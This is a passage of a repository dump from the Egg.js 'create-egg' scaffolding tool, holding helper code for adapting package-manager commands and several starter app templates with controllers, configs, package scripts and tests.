}\n    fs.rmSync(path.resolve(dir, file), { recursive: true, force: true });\n  }\n}\n\ninterface PkgInfo {\n  name: string;\n  version: string;\n}\n\nfunction pkgFromUserAgent(userAgent: string | undefined): PkgInfo | undefined {\n  if (!userAgent) return undefined;\n  const pkgSpec = userAgent.split(' ')[0];\n  const pkgSpecArr = pkgSpec.split('/');\n  return {\n    name: pkgSpecArr[0],\n    version: pkgSpecArr[1],\n  };\n}\n\n// function editFile(file: string, callback: (content: string) => string) {\n//   const content = fs.readFileSync(file, 'utf-8')\n//   fs.writeFileSync(file, callback(content), 'utf-8')\n// }\n\nfunction getFullCustomCommand(customCommand: string, pkgInfo?: PkgInfo) {\n  const pkgManager = pkgInfo ? pkgInfo.name : 'npm';\n  const isYarn1 = pkgManager === 'yarn' && pkgInfo?.version.startsWith('1.');\n\n  return (\n    customCommand\n      .replace(/^npm create (?:-- )?/, () => {\n        // `bun create` uses it's own set of templates,\n        // the closest alternative is using `bun x` directly on the package\n        if (pkgManager === 'bun') {\n          return 'bun x create-';\n        }\n        // pnpm doesn't support the -- syntax\n        if (pkgManager === 'pnpm') {\n          return 'pnpm create ';\n        }\n        // For other package managers, preserve the original format\n        return customCommand.startsWith('npm create -- ') ? `${pkgManager} create -- ` : `${pkgManager} create `;\n      })\n      // Only Yarn 1.x doesn't support `@version` in the `create` command\n      .replace('@latest', () => (isYarn1 ? '' : '@latest'))\n      .replace(/^npm exec/, () => {\n        // Prefer `pnpm dlx`, `yarn dlx`, or `bun x`\n        if (pkgManager === 'pnpm') {\n          return 'pnpm dlx';\n        }\n        if (pkgManager === 'yarn' && !isYarn1) {\n          return 'yarn dlx';\n        }\n        if (pkgManager === 'bun') {\n          return 'bun x';\n        }\n        // Use `npm exec` in all other cases,\n        // including Yarn 1.x and other custom npm clients.\n        return 'npm exec';\n      })\n  );\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-js/.eslintignore",
    "content": "coverage\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-js/.eslintrc",
    "content": "{\n  \"extends\": \"eslint-config-egg\",\n  \"root\": true\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-js/.vscode/launch.json",
    "content": "{\n  // Use IntelliSense to learn about possible attributes.\n  // Hover to view descriptions of existing attributes.\n  // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387\n  \"version\": \"0.2.0\",\n  \"configurations\": [\n    {\n      \"type\": \"node\",\n      \"request\": \"launch\",\n      \"name\": \"Egg Debug\",\n      \"runtimeExecutable\": \"npm\",\n      \"runtimeArgs\": [\"run\", \"dev\", \"--\", \"--inspect-brk\"],\n      \"console\": \"integratedTerminal\",\n      \"restart\": true,\n      \"autoAttachChildProcesses\": true\n    },\n    {\n      \"type\": \"node\",\n      \"request\": \"launch\",\n      \"name\": \"Egg Test\",\n      \"runtimeExecutable\": \"npm\",\n      \"runtimeArgs\": [\"run\", \"test:local\", \"--\", \"--inspect-brk\"],\n      \"autoAttachChildProcesses\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-js/README.md",
    "content": "# hello Egg.js\n\nhello Egg.js\n\n## QuickStart\n\n<!-- add docs here for user -->\n\nsee [egg v3 docs][egg@3] for more detail.\n\n### Development\n\n```bash\nnpm i\nnpm run dev\nopen http://localhost:7001/\n```\n\n### Deploy\n\n```bash\nnpm start\nnpm stop\n```\n\n### npm scripts\n\n- Use `npm run lint` to check code style.\n- Use `npm test` to run unit test.\n\n[egg@3]: https://v3.eggjs.org/\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-js/_.gitignore",
    "content": "logs/\nnpm-debug.log\nyarn-error.log\nnode_modules/\n*-lock.json\n*-lock.yaml\nyarn.lock\ncoverage/\n.idea/\nrun/\n.DS_Store\n*.sw*\n*.un~\ntypings/\n.nyc_output/\n.egg/"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-js/app/controller/home.js",
    "content": "const { Controller } = require('egg');\n\nclass HomeController extends Controller {\n  async index() {\n    const { ctx } = this;\n    ctx.body = 'hi, egg';\n  }\n}\n\nmodule.exports = HomeController;\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-js/app/router.js",
    "content": "/**\n * @param {Egg.Application} app - egg application\n */\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/', controller.home.index);\n};\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-js/config/config.default.js",
    "content": "/* eslint valid-jsdoc: \"off\" */\n\n/**\n * @param {Egg.EggAppInfo} appInfo app info\n */\nmodule.exports = (appInfo) => {\n  /**\n   * built-in config\n   * @type {Egg.EggAppConfig}\n   **/\n  const config = (exports = {});\n\n  // use for cookie sign key, should change to your own and keep security\n  config.keys = appInfo.name + '_{{keys}}';\n\n  // add your middleware config here\n  config.middleware = [];\n\n  // add your user config here\n  const userConfig = {\n    // myAppName: 'egg',\n  };\n\n  return {\n    ...config,\n    ...userConfig,\n  };\n};\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-js/config/plugin.js",
    "content": "/** @type Egg.EggPlugin */\nmodule.exports = {\n  // had enabled by egg\n  // static: {\n  //   enable: true,\n  // }\n};\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-js/package.json",
    "content": "{\n  \"name\": \"{{name}}\",\n  \"version\": \"1.0.0\",\n  \"private\": true,\n  \"description\": \"hello Egg.js\",\n  \"license\": \"MIT\",\n  \"author\": \"{{author}}\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"\"\n  },\n  \"scripts\": {\n    \"start\": \"egg-scripts start --daemon --title=egg-server-{{name}}\",\n    \"stop\": \"egg-scripts stop --title=egg-server-{{name}}\",\n    \"dev\": \"egg-bin dev\",\n    \"test\": \"npm run lint -- --fix && npm run test:local\",\n    \"test:local\": \"egg-bin test\",\n    \"cov\": \"egg-bin cov\",\n    \"lint\": \"eslint .\",\n    \"ci\": \"npm run lint && npm run cov\"\n  },\n  \"dependencies\": {\n    \"egg\": \"^3.17.5\",\n    \"egg-scripts\": \"3\"\n  },\n  \"devDependencies\": {\n    \"egg-bin\": \"6\",\n    \"egg-mock\": \"5\",\n    \"eslint\": \"8\",\n    \"eslint-config-egg\": \"14\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"egg\": {\n    \"declarations\": true\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-js/test/app/controller/home.test.js",
    "content": "const { strict: assert } = require('node:assert');\nconst path = require('node:path');\nconst { statSync } = require('node:fs');\nconst { app } = require('egg-mock/bootstrap');\n\ndescribe('test/app/controller/home.test.js', () => {\n  it('should assert', async () => {\n    const pkg = require('../../../package.json');\n    assert(app.config.keys.startsWith(pkg.name));\n  });\n\n  it('should typings exists', async () => {\n    const typings = path.join(__dirname, '../../../typings');\n    assert(statSync(typings));\n  });\n\n  it('should GET /', async () => {\n    return app.httpRequest().get('/').expect('hi, egg').expect(200);\n  });\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/.eslintignore",
    "content": "**/*.d.ts\nnode_modules/\ncoverage"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/.eslintrc",
    "content": "{\n  \"extends\": \"eslint-config-egg/typescript\",\n  \"parserOptions\": {\n    \"project\": \"./tsconfig.json\"\n  }\n}"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/README.md",
    "content": "# hackernews-async-ts\n\n[Hacker News](https://news.ycombinator.com/) showcase using typescript && egg\n\n## QuickStart\n\n### Development\n\n```bash\n$ npm i\n$ npm run dev\n$ open http://localhost:7001/\n```\n\nDon't tsc compile at development mode, if you had run `tsc` then you need to `npm run clean` before `npm run dev`.\n\n### Deploy\n\n```bash\n$ npm run tsc\n$ npm start\n```\n\n### Npm Scripts\n\n- Use `npm run lint` to check code style\n- Use `npm test` to run unit test\n- se `npm run clean` to clean compiled js at development mode once\n\n### Requirement\n\n- Node.js 8.x\n- Typescript 2.8+\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/_.gitignore",
    "content": "logs/\nnpm-debug.log\nnode_modules/\ncoverage/\n.idea/\nrun/\nlogs/\n.DS_Store\n.vscode\n*.swp\n*.lock\n*.js\n!.autod.conf.js\n\napp/**/*.js\ntest/**/*.js\nconfig/**/*.js\napp/**/*.map\ntest/**/*.map\nconfig/**/*.map\n.egg/"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/app/controller/home.ts",
    "content": "import { Controller } from 'egg';\n\nexport default class HomeController extends Controller {\n  public async index() {\n    const { ctx } = this;\n    ctx.body = await ctx.service.test.sayHi('egg');\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/app/router.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application) => {\n  const { controller, router } = app;\n\n  router.get('/', controller.home.index);\n};\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/app/service/Test.ts",
    "content": "import { Service } from 'egg';\n\n/**\n * Test Service\n */\nexport default class Test extends Service {\n  /**\n   * sayHi to you\n   * @param name - your name\n   */\n  public async sayHi(name: string) {\n    return `hi, ${name}, TypeScript`;\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/config/config.default.ts",
    "content": "import { EggAppConfig, EggAppInfo, PowerPartial } from 'egg';\n\nexport default (appInfo: EggAppInfo) => {\n  const config = {} as PowerPartial<EggAppConfig>;\n\n  // override config from framework / plugin\n  // use for cookie sign key, should change to your own and keep security\n  config.keys = appInfo.name + '_{{keys}}';\n\n  // add your egg config in here\n  config.middleware = [];\n\n  // add your special config in here\n  const bizConfig = {\n    sourceUrl: `https://github.com/eggjs/examples/tree/master/${appInfo.name}`,\n  };\n\n  // the return config will combines to EggAppConfig\n  return {\n    ...config,\n    ...bizConfig,\n  };\n};\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/config/config.local.ts",
    "content": "import { EggAppConfig, PowerPartial } from 'egg';\n\nexport default () => {\n  const config: PowerPartial<EggAppConfig> = {};\n  return config;\n};\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/config/config.prod.ts",
    "content": "import { EggAppConfig, PowerPartial } from 'egg';\n\nexport default () => {\n  const config: PowerPartial<EggAppConfig> = {};\n  return config;\n};\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/config/plugin.ts",
    "content": "import { EggPlugin } from 'egg';\n\nconst plugin: EggPlugin = {\n  // static: true,\n  // nunjucks: {\n  //   enable: true,\n  //   package: 'egg-view-nunjucks',\n  // },\n};\n\nexport default plugin;\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/package.json",
    "content": "{\n  \"name\": \"{{name}}\",\n  \"version\": \"1.0.0\",\n  \"private\": true,\n  \"description\": \"hello Egg.js\",\n  \"license\": \"MIT\",\n  \"author\": \"Author Name <author.name@mail.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"\"\n  },\n  \"scripts\": {\n    \"start\": \"egg-scripts start --daemon --title=egg-server-{{name}}\",\n    \"stop\": \"egg-scripts stop --title=egg-server-{{name}}\",\n    \"dev\": \"egg-bin dev\",\n    \"test-local\": \"egg-bin test\",\n    \"test\": \"npm run lint -- --fix && npm run test-local\",\n    \"cov\": \"egg-bin cov\",\n    \"tsc\": \"ets && tsc -p tsconfig.json\",\n    \"ci\": \"npm run lint && npm run cov && npm run tsc\",\n    \"lint\": \"eslint . --ext .ts --resolve-plugins-relative-to .\",\n    \"clean\": \"ets clean\"\n  },\n  \"dependencies\": {\n    \"egg\": \"^3.31.0\",\n    \"egg-scripts\": \"3\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/tsconfig\": \"3\",\n    \"@types/mocha\": \"10\",\n    \"@types/node\": \"24\",\n    \"egg-bin\": \"6\",\n    \"egg-mock\": \"5\",\n    \"eslint\": \"8\",\n    \"eslint-config-egg\": \"14\",\n    \"typescript\": \"5\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"egg\": {\n    \"typescript\": true,\n    \"declarations\": true\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/test/app/controller/home.test.ts",
    "content": "import assert from 'assert';\n\nimport { app } from 'egg-mock/bootstrap';\n\ndescribe('test/app/controller/home.test.ts', () => {\n  it('should GET /', async () => {\n    const result = await app.httpRequest().get('/').expect(200);\n    assert(result.text === 'hi, egg');\n  });\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/test/app/service/Test.test.ts",
    "content": "import assert from 'assert';\n\nimport { Context } from 'egg';\nimport { app } from 'egg-mock/bootstrap';\n\ndescribe('test/app/service/Test.test.js', () => {\n  let ctx: Context;\n\n  before(async () => {\n    ctx = app.mockContext();\n  });\n\n  it('sayHi', async () => {\n    const result = await ctx.service.test.sayHi('egg');\n    assert(result === 'hi, egg');\n  });\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"exclude\": [\"app/public\", \"app/views\", \"node_modules\"]\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-simple-ts/typings/index.d.ts",
    "content": "import 'egg';\n\ndeclare module 'egg' {}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/.vscode/launch.json",
    "content": "{\n  // Use IntelliSense to learn about possible attributes.\n  // Hover to view descriptions of existing attributes.\n  // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387\n  \"version\": \"0.2.0\",\n  \"configurations\": [\n    {\n      \"type\": \"node\",\n      \"request\": \"launch\",\n      \"name\": \"Egg Debug\",\n      \"runtimeExecutable\": \"npm\",\n      \"runtimeArgs\": [\"run\", \"dev\", \"--\", \"--inspect-brk\"],\n      \"console\": \"integratedTerminal\",\n      \"restart\": true,\n      \"autoAttachChildProcesses\": true\n    },\n    {\n      \"type\": \"node\",\n      \"request\": \"launch\",\n      \"name\": \"Egg Test\",\n      \"runtimeExecutable\": \"npm\",\n      \"runtimeArgs\": [\"run\", \"test:local\", \"--\", \"--inspect-brk\"],\n      \"autoAttachChildProcesses\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/README.md",
    "content": "# tegg app\n\n[Hacker News](https://news.ycombinator.com/) showcase using [tegg](https://github.com/eggjs/tegg)\n\n## QuickStart\n\n### Development\n\n```bash\nnpm i\nnpm run dev\nopen http://localhost:7001/\n```\n\nDon't tsc compile at development mode, if you had run `tsc` then you need to `npm run clean` before `npm run dev`.\n\n### Deploy\n\n```bash\nnpm run tsc\nnpm start\n```\n\n### Npm Scripts\n\n- Use `npm run lint` to check code style\n- Use `npm test` to run unit test\n- se `npm run clean` to clean compiled js at development mode once\n\n### Requirement\n\n- Node.js >= 20.x\n- Typescript >= 5.x\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/_.gitignore",
    "content": "logs/\nnpm-debug.log\nnode_modules/\ncoverage/\n.idea/\nrun/\nlogs/\n.DS_Store\n.vscode\n*.swp\n*.lock\n*.js\n.eslintcache\n\napp/**/*.js\ntest/**/*.js\nconfig/**/*.js\napp/**/*.map\ntest/**/*.map\nconfig/**/*.map\n.package-lock.json\n.egg/"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/app/module/bar/controller/home.ts",
    "content": "import { Inject, HTTPController, HTTPMethod, HTTPMethodEnum } from '@eggjs/tegg';\nimport { EggLogger } from 'egg';\n\n@HTTPController({\n  path: '/',\n})\nexport class HomeController {\n  @Inject()\n  private logger: EggLogger;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/',\n  })\n  async index() {\n    this.logger.info('hello egg logger');\n    return 'hello egg';\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/app/module/bar/controller/user.ts",
    "content": "import { HelloService } from '@/module/foo';\nimport { Inject, HTTPController, HTTPMethod, HTTPMethodEnum, HTTPQuery } from '@eggjs/tegg';\n\n@HTTPController({\n  path: '/bar',\n})\nexport class UserController {\n  @Inject()\n  private helloService: HelloService;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: 'user',\n  })\n  async user(@HTTPQuery({ name: 'userId' }) userId: string) {\n    return await this.helloService.hello(userId);\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/app/module/bar/package.json",
    "content": "{\n  \"name\": \"bar\",\n  \"eggModule\": {\n    \"name\": \"bar\"\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/app/module/foo/index.ts",
    "content": "export { HelloService } from './service/HelloService';\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/app/module/foo/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/app/module/foo/service/HelloService.ts",
    "content": "import { SingletonProto, AccessLevel, Inject } from '@eggjs/tegg';\nimport { EggLogger } from 'egg';\n\n@SingletonProto({\n  // 如果需要在上层使用，需要把 accessLevel 显示声明为 public\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class HelloService {\n  // 注入一个 logger\n  @Inject()\n  private logger: EggLogger;\n\n  // 封装业务\n  async hello(userId: string): Promise<string> {\n    const result = { userId, handledBy: 'foo module' };\n    this.logger.info('[hello] get result: %j', result);\n    return `hello, ${result.userId}`;\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/config/config.default.ts",
    "content": "import { EggAppConfig, EggAppInfo, PowerPartial } from 'egg';\n\nexport default (appInfo: EggAppInfo) => {\n  const config = {} as PowerPartial<EggAppConfig>;\n\n  // override config from framework / plugin\n  // use for cookie sign key, should change to your own and keep security\n  config.keys = appInfo.name + '_{{keys}}';\n\n  // add your egg config in here\n  config.middleware = [];\n\n  // change multipart mode to file\n  // @see https://github.com/eggjs/multipart/blob/master/src/config/config.default.ts#L104\n  config.multipart = {\n    mode: 'file',\n  };\n\n  // add your special config in here\n  // Usage: `app.config.bizConfig.sourceUrl`\n  const bizConfig = {\n    sourceUrl: `https://github.com/eggjs/examples/tree/master/${appInfo.name}`,\n  };\n\n  // the return config will combines to EggAppConfig\n  return {\n    ...config,\n    bizConfig,\n  };\n};\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/config/config.local.ts",
    "content": "import { EggAppConfig, PowerPartial } from 'egg';\n\nexport default () => {\n  const config = {} as PowerPartial<EggAppConfig>;\n  return config;\n};\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/config/config.prod.ts",
    "content": "import { EggAppConfig, PowerPartial } from 'egg';\n\nexport default () => {\n  const config = {} as PowerPartial<EggAppConfig>;\n  return config;\n};\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/config/config.unittest.ts",
    "content": "import { EggAppConfig, PowerPartial } from 'egg';\n\nexport default () => {\n  const config = {} as PowerPartial<EggAppConfig>;\n  return config;\n};\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/config/plugin.ts",
    "content": "import { EggPlugin } from 'egg';\n\nconst plugin: EggPlugin = {\n  tegg: {\n    enable: true,\n    package: '@eggjs/tegg-plugin',\n  },\n  teggConfig: {\n    enable: true,\n    package: '@eggjs/tegg-config',\n  },\n  teggController: {\n    enable: true,\n    package: '@eggjs/tegg-controller-plugin',\n  },\n  teggSchedule: {\n    enable: true,\n    package: '@eggjs/tegg-schedule-plugin',\n  },\n  eventbusModule: {\n    enable: true,\n    package: '@eggjs/tegg-eventbus-plugin',\n  },\n  aopModule: {\n    enable: true,\n    package: '@eggjs/tegg-aop-plugin',\n  },\n  tracer: {\n    enable: true,\n    package: '@eggjs/tracer',\n  },\n};\n\nexport default plugin;\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/package.json",
    "content": "{\n  \"name\": \"{{name}}\",\n  \"private\": true,\n  \"description\": \"Hello Egg.js\",\n  \"homepage\": \"https://github.com/YOUR_USERNAME/YOUR_REPO#readme\",\n  \"bugs\": {\n    \"url\": \"https://github.com/YOUR_USERNAME/YOUR_REPO/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"Author Name <author.name@mail.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/YOUR_USERNAME/YOUR_REPO.git\"\n  },\n  \"scripts\": {\n    \"start\": \"eggctl start --daemon --title=egg-server-{{name}}\",\n    \"stop\": \"eggctl stop --title=egg-server-{{name}}\",\n    \"dev\": \"egg-bin dev\",\n    \"pretest\": \"npm run clean && npm run lint -- --fix\",\n    \"test\": \"egg-bin test\",\n    \"preci\": \"npm run clean && npm run lint\",\n    \"ci\": \"egg-bin cov\",\n    \"postci\": \"npm run prepublishOnly && npm start && sleep 10 && npm stop && npm run clean\",\n    \"lint\": \"oxlint --type-aware\",\n    \"tsc\": \"tsc\",\n    \"clean\": \"tsc -b --clean\",\n    \"prepublishOnly\": \"npm run clean && npm run tsc\"\n  },\n  \"dependencies\": {\n    \"@eggjs/tegg\": \"^3.5.2\",\n    \"@eggjs/tegg-aop-plugin\": \"^3.5.2\",\n    \"@eggjs/tegg-config\": \"^3.5.2\",\n    \"@eggjs/tegg-controller-plugin\": \"^3.5.2\",\n    \"@eggjs/tegg-eventbus-plugin\": \"^3.5.2\",\n    \"@eggjs/tegg-plugin\": \"^3.5.2\",\n    \"@eggjs/tegg-schedule-plugin\": \"^3.5.2\",\n    \"egg\": \"^3.31.0\",\n    \"egg-scripts\": \"^3.0.0\",\n    \"egg-tracer\": \"^2.0.0\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/tsconfig\": \"3\",\n    \"@types/mocha\": \"10\",\n    \"@types/node\": \"24\",\n    \"egg-bin\": \"^6.13.0\",\n    \"egg-mock\": \"^5.15.2\",\n    \"oxlint\": \"1\",\n    \"oxlint-tsgolint\": \"^0.11.0\",\n    \"typescript\": \"5\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/test/app/module/bar/controller/home.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { app } from 'egg-mock/bootstrap';\n\ndescribe('test/app/module/bar/controller/home.test.ts', () => {\n  it('should GET / status 200', async () => {\n    const res = await app.httpRequest().get('/');\n    assert.equal(res.status, 200);\n    assert.equal(res.text, 'hello egg');\n  });\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/test/app/module/bar/controller/user.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { app } from 'egg-mock/bootstrap';\n\ndescribe('test/app/module/bar/controller/user.test.ts', () => {\n  it('should GET /bar/user status 200', async () => {\n    const res = await app.httpRequest().get('/bar/user').query({ userId: '20170901' });\n    assert.equal(res.status, 200);\n    assert.equal(res.text, 'hello, 20170901');\n  });\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/test/app/module/foo/service/HelloService.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { HelloService } from '@/module/foo/service/HelloService';\nimport { app } from 'egg-mock/bootstrap';\n\ndescribe('test/app/module/foo/service/HelloService.test.ts', () => {\n  it('should hello() work', async () => {\n    // @ts-expect-error getEggObject no type defination\n    const helloService = await app.getEggObject(HelloService);\n    const msg = await helloService.hello('123456');\n    assert.equal(msg, 'hello, 123456');\n  });\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/egg3-tegg/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\",\n    \"declaration\": false,\n    \"paths\": {\n      \"@/module/*\": [\"./app/module/*\"]\n    }\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/README.md",
    "content": "# Hello Egg.js\n\n[Hello Egg.js](https://eggjs.org/) showcase using typescript && egg\n\n## QuickStart\n\n### Development\n\n```bash\n$ npm i\n$ npm run dev\n$ open http://localhost:7001/\n```\n\nDon't tsc compile at development mode, if you had run `tsc` then you need to `npm run clean` before `npm run dev`.\n\n### Deploy\n\n```bash\n$ npm run tsc\n$ npm start\n```\n\n### Npm Scripts\n\n- Use `npm run lint` to check code style\n- Use `npm test` to run unit test\n- se `npm run clean` to clean compiled js at development mode once\n\n### Requirement\n\n- Node.js 20.x\n- Typescript 5.x\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/_.gitignore",
    "content": "logs/\nnpm-debug.log\nnode_modules/\ncoverage/\n.idea/\nrun/\nlogs/\n.DS_Store\n.vscode\n*.swp\n*.lock\n*.js\n!.autod.conf.js\n\napp/**/*.js\ntest/**/*.js\nconfig/**/*.js\napp/**/*.map\ntest/**/*.map\nconfig/**/*.map\n.egg/"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/app/controller/home.ts",
    "content": "import { Controller } from 'egg';\n\nexport default class HomeController extends Controller {\n  public async index() {\n    const { ctx } = this;\n    ctx.body = await ctx.service.test.sayHi('egg');\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/app/router.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application) => {\n  const { controller, router } = app;\n\n  router.get('/', controller.home.index);\n};\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/app/service/Test.ts",
    "content": "import { Service } from 'egg';\n\n/**\n * Test Service\n */\nexport default class Test extends Service {\n  /**\n   * sayHi to you\n   * @param name - your name\n   */\n  public async sayHi(name: string) {\n    return `hi, ${name}, TypeScript`;\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/config/config.default.ts",
    "content": "import { defineConfigFactory, type PartialEggConfig } from 'egg';\n\nexport default defineConfigFactory((appInfo) => {\n  const config = {\n    // use for cookie sign key, should change to your own and keep security\n    keys: appInfo.name + '_{{keys}}',\n\n    // add your egg config in here\n    middleware: [] as string[],\n  } as PartialEggConfig;\n\n  // add your special config in here\n  const bizConfig = {\n    sourceUrl: `https://github.com/eggjs/examples/tree/master/${appInfo.name}`,\n  };\n\n  // the return config will combines to EggAppConfig\n  return {\n    ...config,\n    ...bizConfig,\n  };\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/config/config.local.ts",
    "content": "import type { PartialEggConfig } from 'egg';\n\nexport default {\n  // add your config here\n} as PartialEggConfig;\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/config/config.prod.ts",
    "content": "import type { PartialEggConfig } from 'egg';\n\nexport default {\n  // add your config here\n} as PartialEggConfig;\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/config/plugin.ts",
    "content": "import type { EggPlugin } from 'egg';\n\nconst plugins: EggPlugin = {\n  // static: true,\n  // nunjucks: {\n  //   enable: true,\n  //   package: 'egg-view-nunjucks',\n  // },\n};\n\nexport default plugins;\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/package.json",
    "content": "{\n  \"name\": \"{{name}}\",\n  \"private\": true,\n  \"description\": \"Hello Egg.js\",\n  \"homepage\": \"https://github.com/YOUR_USERNAME/YOUR_REPO#readme\",\n  \"bugs\": {\n    \"url\": \"https://github.com/YOUR_USERNAME/YOUR_REPO/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"Author Name <author.name@mail.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/YOUR_USERNAME/YOUR_REPO.git\"\n  },\n  \"type\": \"module\",\n  \"scripts\": {\n    \"start\": \"eggctl start --daemon --title=egg-server-{{name}}\",\n    \"stop\": \"eggctl stop --title=egg-server-{{name}}\",\n    \"dev\": \"egg-bin dev\",\n    \"test:local\": \"vitest run\",\n    \"pretest\": \"npm run clean && npm run lint -- --fix\",\n    \"test\": \"vitest run\",\n    \"preci\": \"npm run clean && npm run lint\",\n    \"ci\": \"vitest run --coverage\",\n    \"postci\": \"npm run prepublishOnly && npm start && sleep 10 && npm stop && npm run clean\",\n    \"lint\": \"oxlint --type-aware\",\n    \"typecheck\": \"tsgo --noEmit\",\n    \"tsc\": \"tsc\",\n    \"clean\": \"tsc -b --clean\",\n    \"prepublishOnly\": \"npm run clean && npm run tsc\"\n  },\n  \"dependencies\": {\n    \"@eggjs/scripts\": \"^4.0.0\",\n    \"egg\": \"beta\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/bin\": \"beta\",\n    \"@eggjs/mock\": \"beta\",\n    \"@eggjs/tsconfig\": \"beta\",\n    \"@types/node\": \"24\",\n    \"oxlint\": \"1\",\n    \"oxlint-tsgolint\": \"^0.11.0\",\n    \"typescript\": \"5\",\n    \"vitest\": \"beta\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/test/app/controller/home.test.ts",
    "content": "import { app } from '@eggjs/mock/bootstrap';\nimport { test, expect } from 'vitest';\n\ntest('should GET / status 200', async () => {\n  const res = await app.httpRequest().get('/').expect(200);\n  expect(res.text).toBe('hi, egg, TypeScript');\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/test/app/service/Test.test.ts",
